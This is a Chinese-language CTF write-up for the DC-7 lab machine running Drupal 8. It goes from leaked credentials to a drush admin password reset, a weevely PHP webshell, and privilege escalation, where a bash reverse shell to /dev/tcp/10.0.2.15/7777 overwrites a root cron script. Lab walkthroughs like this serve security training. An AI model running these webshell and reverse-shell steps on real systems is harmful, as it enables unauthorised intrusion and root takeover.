基本步驟

經驗 & 總結
- 對資訊還是不敏感,其實也是因為對Drupal這個CMS并不熟悉,不知道哪些地方是默認的那些地方是作者修改,比如這個“DC7USER”,
- 對Drupal這個CMS不熟悉,不知道Drush這個工具是什么東西,一開始根本就沒注意到;也不知道Drupal可以通過Web頁面撰寫PHP腳本,
- 一開始在dc7user的shell中探測計劃任務,crontab計劃任務中并沒有
/opt/scripts/backups.sh因為權限不夠, - 在最后修改計劃任務腳本時需要注意,一定要確保檔案頭
#!/bin/bash,否則無法正常執行,原因不詳,還請各位大佬告知
步驟流水
進行埠探測,得到只開放了兩個埠:22、 80埠

- 對80埠進行檢查

-
CMS為Drupal8框架
-
robots.txt 中透露了22個目錄,不知道有沒有線索,我不知道正常drupal8安裝后robots.txt內容是什么樣
-
msf一把梭:msf搜索相關漏洞,包含了exploit-db中的最新exp,無腦測驗,都失敗了,

-
到這一步懵逼了,但是可以確定還是需要從80埠突破
-
偷看一眼參考答案,需要在某個不存在的網站上搜索DC7USER(資訊搜集的重要性……),可以找到一個github倉庫地址,根據README中的資訊,得知該倉庫存放的是web的部分代碼,


-
大致瀏覽一下,有幾個檔案看起來和登錄有關,

-
直接搜索“password”發現包含用戶名和密碼,而且看起來好像是資料庫的用戶名和密碼,但是nmap掃描結果中并沒有與資料庫相關的資訊,推測是對外屏蔽了埠,


-
依次嘗試目前得到的登錄介面:嘗試登錄drupal,失敗;測驗登錄ssh,成功,

-
-
SSH:
-
直接嘗試已知的提權辦法,腳本掃一掃、參考cheatsheet試試看,沒成功,
-
提示有個新郵件,ls查看當前目錄下有兩個檔案,一個文本檔案叫mbox,一個backups檔案夾
-
查看當前行程確認有mysqld在運行,嘗試登錄,提示被禁止,嘗試運行
sudo命令,提示該命令不存在,
-
查看mbox
-
雖然很長,但是內容基本重復,可以得到的資訊是存在一個定時任務,備份資料庫檔案

-
-
scp -r [email protected]:/home/dc7user/backups ./復制檔案到本地進行查看,但是是加密檔案,
查看計劃任務腳本,得到密碼

-
資料庫備份檔案超大33M,感興趣的是里面的
users_field_data表,可以查詢到用戶名和加密后的密碼,另外查看了備份的web目錄,沒有寫死的用戶名和密碼,
-
-
至此再次陷入僵局
再次翻看參考答案:突破點在/opt/scripts/backups.sh腳本上
-
backups.sh
-
查看權限可以看出該腳本屬組并不是root而是www-data,同時www-data有對該檔案的完全控制權

-
因此突破關鍵轉移到如何獲得一個www-data組中的用戶,查詢發現www-data組中僅包含www-data用戶,www-data僅運行apache行程,因此需要通過web頁面獲得shell才能獲取對backups.sh的修改權限,

-
查看腳本中的內容,發現執行了
drush命令Drush是Drupal的命令列shell和Unix腳本介面,Drush Core附帶了許多有用的命令,可用于與模塊/主題/組態檔等代碼進行互動,
一開始執行drush命令的時候總是提示:
Command user-create needs a higher bootstrap level to run - you will need to invoke drush from a more functional Drupal environment to run this command.需要切換到專案根目錄或Drupal中,沒仔細看檔案:通過在專案根目錄或Drupal中的任何位置鍵入“ drush”,可以在Shell中運行Drush,另外,在這個腳本中也是先移動到web目錄,再執行備份任務,
通過
drush user-password admin --password="new_pass"修改admin密碼,成功登錄drupal,為什么dc7user用戶會有這個命令的控制權?還請大佬指點 -
成功登錄后臺

-
-
再一次歇逼,沒用過Drupal,知道這個時候應該想辦法寫一個php的webshell,但是搜了一圈也沒找到怎么通過Web后臺寫WebShell,
再次翻看參考答案(我是真的菜啊)
-
為drupal添加一個插件,讓它支持編輯PHP頁面
-
下載php-8.x-1.0.tar.gz,在后臺安裝并激活
-
weevely generate 123 ./shell.php生成一個webshell,通過web寫入drupal
-
發布之后使用weevely連接,可以得到一個www-data權限的shell

-
在計劃任務腳本后面添加反彈shell腳本,本機監聽等待回連,耐心等待,通過郵件的時間可以得知該腳本每15分鐘執行一次,
echo "bash -i >& /dev/tcp/10.0.2.15/7777 0>&1" > /opt/scripts/backups.sh
-
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/47383.html
標籤:其他
下一篇:哪位大神幫忙普及一下獨石電容
